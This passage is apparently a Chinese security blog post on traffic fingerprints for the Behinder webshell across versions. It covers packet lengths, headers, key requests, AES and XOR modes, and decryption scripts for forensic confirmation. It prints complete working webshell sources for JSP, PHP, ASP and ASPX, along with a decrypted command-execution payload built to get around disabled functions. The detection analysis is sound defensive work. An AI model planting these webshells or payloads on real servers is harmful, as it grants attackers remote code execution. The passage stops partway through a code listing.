冰蝎webshell流量特征

本文最后更新于 2025年12月14日 下午

总结

payload长度特征

webshell连接后必定会发送一个获取基本信息的包

对同样的数据使用不同的key用同样的aes加密/xor加密后再base64编码后的长度是一样的。

同版本的冰蝎在首次连接shell时发送的payload是一样的,可以通过长度来判断是否是冰蝎流量。

shell.php

首次连接shell都会有一个phpinfo()的请求并且payload是一样的,并且即使每次的aes的key不同,其用同一种aes模式加密后的长度是一样的

v1.x
1
2
3
4
5
6
//wireshark中过滤
http.content_length == 1624 //请求body长度
frame.len == 1668 //帧长度
//header
Connection: keep-alive
Content-Length: 1624

v2.x

首次连接webshell固定发送两个payload,第一个是探测是否有openssl扩展,第二个是phpinfo()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//wireshark aes
frame.len == 1156 || frame.len == 2264
http.content_length == 1112 ||http.content_length == 2220
//header aes
Connection: keep-alive
Content-Length: 1112
Connection: keep-alive
Content-Length: 2220

//wireshark xor
frame.len == 1156 || frame.len == 2256
http.content_length == 1112 ||http.content_length == 2212
//header xor
Connection: keep-alive
Content-Length: 1112
Connection: keep-alive
Content-Length: 2212

openssl开启下

openssl关闭使用xor

v3.x

开启openssl时,首次连接webshell,请求长度是动态的,无法预测

不支持openssl使用xor时,请求长度也是动态的

v4.x

同v3.x,首次连接shell的请求长度是动态的

shell.jsp

v1.x

连接webshell后,先get获取key后请求获取基本信息,使用相同payload,长度固定

1
2
3
4
5
6
//wireshark中过滤
http.content_length == 8556 //请求body长度
frame.len == 8600 //帧长度
//header
Connection: keep-alive
Content-Length: 8556

v2.x

连接webshell后,先两次get获取key后请求获取基本信息,使用相同payload,长度固定,与v1.x用相同的payload

1
2
3
4
5
6
//wireshark中过滤
http.content_length == 8556 //请求body长度
frame.len == 8600 //帧长度
//header
Connection: keep-alive
Content-Length: 8556

v3.x

首次连接请求获取基本信息的长度是动态的

v4.x

同v3.x,首次连接shell的请求长度是动态的

shell.aspx

v1.x

连接webshell后,先get获取key后请求获取基本信息,使用相同payload,长度固定

1
2
3
4
5
6
//wireshark中过滤
http.content_length == 7184 //请求body长度
frame.len == 7228 //帧长度
//header
Connection: keep-alive
Content-Length: 7184

v2.x

连接webshell后,先两次get获取key后请求获取基本信息,使用相同payload,长度固定

1
2
3
4
5
6
//wireshark中过滤
http.content_length == 7184 //请求body长度
frame.len == 7228 //帧长度
//header
Connection: keep-alive
Content-Length: 7184

v3.x

首次连接请求获取基本信息的长度是动态的

v4.x

同v3.x,首次连接shell的请求长度是动态的

v1.x

能够推断是webshell的条件

  • 通过第一个获取key的请求/shell.jsp?pass=xxx然后返回k值(16位)
1
2
3
4
shell.jsp?pass=xxx   //AES-128-ECB 无 IV
shell.php?pass=xxx //AES-128-CBC 全零(16进制32个0) IV
shell.aspx?pass=xxx //AES-128-CBC key = IV
shell.jspx?pass=xxx //AES-128-ECB 无 IV
  • 这个请求之后的请求header是:
1
2
Content-Type: application/octet-stream   
Pragma: no-cache
  • 可以用返回的key解密请求和响应,解密成功100%确定,不超过则不是。
  • 首次连接webshell获取系统信息的请求包长度判断
1
2
3
shell.php    //Content-Length: 1624
shell.jsp //Content-Length: 8556
shell.aspx //Content-Length: 7184

v2.x

够推断是webshell的条件

  • 两个获取key的请求成对出现,然后返回k值(16位) //两次请求是冰蝎v2.x的特征
1
2
3
4
5
shell.jsp?pass=xxx   //AES-128-ECB 无 IV
shell.php?pass=xxx //AES-128-CBC 全零(16进制32个0)IV 或者xor加解密
shell.aspx?pass=xxx //AES-128-CBC key = IV
shell.asp?pass=xxx //xor加解密
shell.jspx?pass=xxx //AES-128-ECB 无 IV
  • 这两个请求之后的请求header是:
1
2
3
Content-Type: application/octet-stream   //java环境/IIS
Content-Type: application/x-www-form-urlencoded //php环境
Pragma: no-cache
  • 可以用成对获取key的第二个请求返回的key解密请求和响应,解密成功100%确定,不超过则不是。
  • 首次连接webshell获取系统信息的请求包长度判断
1
2
3
4
shell.php    //Content-Length: 1112 && Content-Length: 2220  aes
shell.php //Content-Length: 1112 && Content-Length: 2212 xor
shell.jsp //Content-Length: 8556
shell.aspx //Content-Length: 7184

v3.x

够推断是webshell的条件,v3.x最大的特征是key固定,没有了key请求

1
2
3
4
5
shell.jsp    //AES-128-ECB 无 IV,key固定
shell.php //AES-128-CBC 全零(16进制32个0)IV 或者xor加解密 key固定
shell.aspx //AES-128-CBC key = IV key固定
shell.asp //xor加解密 key固定
shell.jspx //AES-128-ECB 无 IV key固定
  • header是(辅助判断)
1
2
3
Content-Type: application/octet-stream   //java环境/IIS
Content-Type: application/x-www-form-urlencoded //php环境
Pragma: no-cache
  • 可以用默认key尝试解密请求和响应,解密成功100%确认。解密不超过则不能确定。

v4.x

够推断是webshell的条件,v4.x默认情况下和v3.x一样,但允许自定义加解密

1
2
3
4
5
6
7
8
9
10
11
shell.jsp    //AES-128-ECB 无 IV,key固定
shell.php //AES-128-CBC 全零(16进制32个0)IV 或者xor加解密 key固定
shell.aspx //AES-128-CBC key = IV key固定
shell.ashx //AES-128-CBC key = IV key固定
shell.asp //xor加解密 key固定
shell.jspx //AES-128-ECB 无 IV key固定

//使用预设的自定义传输协议,特征较明显
default_image 伪造成图片数据传输,就是在content后拼接payload (特征)
default_json 伪造成json传输,在json后面拼接payload (特征)
aes_with_magic AES-128 ECB 无IV但是在尾部拼接随机magicNum (特征)
  • header是(辅助判断)
1
2
3
4
Content-Type: application/octet-stream   //java环境/IIS
Content-Type: application/x-www-form-urlencoded //php环境
Pragma: no-cache
Cache-Control: no-cache
  • 可以用默认key尝试解密请求和响应,解密成功100%确认。解密不成功则不能确定。

V1.x

https://github.com/rebeyond/Behinder/releases/download/Behinder_v1.2.1/Behinder_v1.2.1.zip

V1.2.1的ua也是随机的

环境:windows11+tomcat9+jdk1.8

shell.jsp

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

1
2
3
4
5
6
7
<%
if(request.getParameter("pass")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);
session.putValue("u",k);
out.print(k);
return;
}

会返回一个随机的K值,然后写入sessionu=k的值

所以webshell连接的第一个请求肯定是/shell.jsp?pass=xxx然后返回k值(16位)

然后对于后续请求

1
2
3
4
5
6
7
8
9
10
11
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
//使用的是 AES 默认模式(ECB),且无 IV

new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance()
.equals(pageContext);
%>

//加密通信

以下两个请求header是固定的,可作为特征判断

1
2
Content-Type: application/octet-stream
Pragma: no-cache

对请求使用密钥aes解密,可以看到明显冰蝎特征,最终确定为冰蝎流量

解密响应,命令执行响应结果格式为json

1
{"msg":"xx","status":"c3VjY2Vzcw=="}

密钥是动态的,新会话连接webshell的密钥会不同

shell.jspx

1
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

与jsp一样,只不过jspx是xml格式jsp

shell.php(需要openssl扩展,没有webshell是连不上的)

1
<?php class C{public function __invoke($p) {eval($p."");}};session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func(new C(),$b[1]);?>

逻辑基本跟jsp一致,只是加解密aes的模式不同,php为AES-128-CBC + 全零 IV

jadx反编译得到

1
2
3
4
5
6
7
8
9
10
11
/* loaded from: Behinder.jar:net/rebeyond/behinder/core/Crypt.class */
public static byte[] DecryptForPhp(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("utf-8");
byte[] bs2 = Base64.decode(new String(bs));
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, skeySpec, new IvParameterSpec(new byte[16]));
byte[] decrypted = cipher.doFinal(bs2);
return decrypted;
}

响应也是json,不过键名顺序跟jsp反过来了

命令执行也做了一些混淆、绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo openssl_encrypt(json_encode($result), "AES128", $key);
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo openssl_encrypt(json_encode($result), "AES128", $_SESSION['k']);
}$cmd="whoami";
main($cmd);

shell.aspx

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

解密方法,同样是AES-128-CBC 但这里IV不是全0(16进制),而是key=IV

1
2
3
4
5
6
7
8
9
10
11

public static byte[] DecryptForCSharp(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("utf-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, skeySpec, iv);
byte[] decrypted = cipher.doFinal(bs);
return decrypted;
}

V2.x

https://github.com/rebeyond/Behinder/releases/download/Behinder_v2.0.1/Behinder_v2.0.1.zip

环境:windows11+tomcat9+jdk1.8

shell.jsp

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

加密解密同v1.x

但是v2.x连接会有两次请求?pass=xx密钥,第二次返回的密钥才是加解密的密钥

v2.x连接webshell时可以自定义请求头

特征header(辅助判断,因为请求头可以自定义)

1
2
Content-Type: application/octet-stream
Pragma: no-cache

最终确定是否是冰蝎webshell还是同v1.x拿密钥解密请求和响应。

shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

同样会有两次key的请求

php加解密aes依赖于<font style="color:rgb(17, 17, 51);">OpenSSL扩展</font>,加解密同样是AES-128-CBC 全零(16进制32个0) IV

冰蝎v2.x当环境不支持<font style="color:rgb(17, 17, 51);">OpenSSL</font>扩展时会改用<font style="color:rgb(17, 17, 51);">xor</font>加解密

1
2
3
4
5
6
7
8
9
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}

并且返回key后的第一次请求依然会尝试使用aes加解密,不成功才会改为xor(这是冰蝎v2.x不支持openssl扩展的特征)

后面的请求才会使用xor

解密python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64

key = "4b9ce250bc3ab0f9" # 16 chars
b64_ciphertext = "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" # from POST body

# 1. Base64 decode
ciphertext = base64.b64decode(b64_ciphertext)

# 2. XOR decrypt (note: key index = (i+1) % 16)
plaintext = bytearray()
for i in range(len(ciphertext)):
k = key[(i + 1) % 16]
plaintext.append(ciphertext[i] ^ ord(k))

print(plaintext.decode('utf-8', errors='ignore'))
# 输出assert|eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOw0KICAgICRkcml2ZUxpc3QgPSIiOw0KICAgIGlmIChzdHJpc3RyKFBIUF9PUywid2luZG93cyIpfHxzdHJpc3RyKFBIUF9PUywid2lubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaT02NTskaTw9OTA7JGkrKykNCiAgICAJew0KICAgIAkJJGRyaXZlPWNocigkaSkuJzovJzsNCiAgICAJCWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHJpdmVMaXN0PSRkcml2ZUxpc3QuJGRyaXZlLiI7IjonJzsNCiAgICAJfQ0KICAgIH0NCgllbHNlDQoJew0KCQkkZHJpdmVMaXN0PSIvIjsNCgl9DQogICAgJGN1cnJlbnRQYXRoPWdldGN3ZCgpOw0KICAgIC8vZWNobyAicGhwaW5mbz0iLiRpbmZvLiJcbiIuImN1cnJlbnRQYXRoPSIuJGN1cnJlbnRQYXRoLiJcbiIuImRyaXZlTGlzdD0iLiRkcml2ZUxpc3Q7DQogICAgJG9zSW5mbz1QSFBfT1M7DQogICAgJHJlc3VsdD1hcnJheSgiYmFzaWNJbmZvIj0+YmFzZTY0X2VuY29kZSgkaW5mbyksImRyaXZlTGlzdCI9PmJhc2U2NF9lbmNvZGUoJGRyaXZlTGlzdCksImN1cnJlbnRQYXRoIj0+YmFzZTY0X2VuY29kZSgkY3VycmVudFBhdGgpLCJvc0luZm8iPT5iYXNlNjRfZW5jb2RlKCRvc0luZm8pKTsNCiAgICAvL2VjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICRrZXk9JF9TRVNTSU9OWydrJ107DQogICAgLy9lY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgIC8vZWNobyBvcGVuc3NsX2VuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICJBRVMxMjgiLCAka2V5KTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfQ0KbWFpbigpOw=='));

shell.asp(用的是xor加解密)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%
Response.CharSet = "UTF-8"
If Request.ServerVariables("REQUEST_METHOD")="GET" And Request.QueryString("pass") Then
For a=1 To 8
RANDOMIZE
k=Hex((255-17)*rnd+16)+k
Next
Session("k")=k
response.write(k)
Else
k=Session("k")
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
End If
%>

解密python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys

def decrypt_asp_xor(ciphertext: bytes, key: str) -> str:
"""
解密 ASP WebShell 的 XOR 加密流量

:param ciphertext: 原始 POST body 二进制数据(bytes)
:param key: 16 字符密钥(str),例如 "a1b2c3d4e5f6g7h8"
:return: 解密后的 VBScript 源码(str)
"""
if len(key) != 16:
raise ValueError("密钥必须是 16 个字符!")

plaintext = bytearray()
for i in range(len(ciphertext)):
# 密钥循环:k[0], k[1], ..., k[15], k[0], ...
k_byte = ord(key[i % 16])
p_byte = ciphertext[i] ^ k_byte
plaintext.append(p_byte)

# 尝试用 UTF-8 解码,忽略非法字符(VBScript 可能含非文本)
return plaintext.decode('utf-8', errors='replace')

# ======================
# 使用示例
# ======================

if __name__ == "__main__":
# === 配置区 ===
KEY = "a1b2c3d4e5f6g7h8" # 替换为实际密钥(从 ?pass 获取)
POST_BODY_FILE = "post.bin" # 替换为你的 POST body 二进制文件路径

try:
with open(POST_BODY_FILE, "rb") as f:
encrypted_data = f.read()

decrypted_code = decrypt_asp_xor(encrypted_data, KEY)
print("✅ 解密成功!原始 VBScript 载荷:\n")
print(decrypted_code)

# 可选:保存到文件
with open("decrypted_payload.vbs", "w", encoding="utf-8") as out:
out.write(decrypted_code)
print("\n📝 已保存到 decrypted_payload.vbs")

except FileNotFoundError:
print(f"❌ 错误:未找到文件 {POST_BODY_FILE}")
print("请确保 POST body 是原始二进制(非 Base64)并保存为 .bin 文件")
except Exception as e:
print(f"❌ 解密失败: {e}")

shell.aspx(与v1.2.1一模一样)

解密方法,同样是AES-128-CBC 但这里IV不是全0(16进制),而是key=IV

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

v3.x

https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11_for_tools/Behinder_v3.0_Beta_11.t00ls.zip

环境:windows11+tomcat9+jdk1.8

shell.jsp(兼容java7)

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

使用了固定的密钥,没有了?pass=xx这一个特征请求和响应

同样可以自定义请求头

特征header(辅助判断,因为请求头可以自定义)

1
2
3
Content-Type: application/octet-stream
Pragma: no-cache
Cache-Control: no-cache

ua头不固定,每个session随机。但同一个会话的ua头是相同的,所以这里没有固定特征。

1
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

最终确定是冰蝎webshell,用keye45e329feb5d925b解密请求和响应,能解密就100%确定了。

但默认密钥解密不了就不一定不是冰蝎webshell,冰蝎v3.x设置的加解密密钥是自动获取连接密码的md5前16位

而连接密码可以自定义

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="098f6bcd4621d373";/*该密钥为连接密码32位md5值的前16位,这里是test*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

shell_java9.jsp (兼容java8+,只是换了base64编码库,加解密一样)

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

shell.jspx.jsp (jsp的xml格式,加解密完全一致)

1
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

shell.php (xor加密部分与冰蝎2.x的不一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
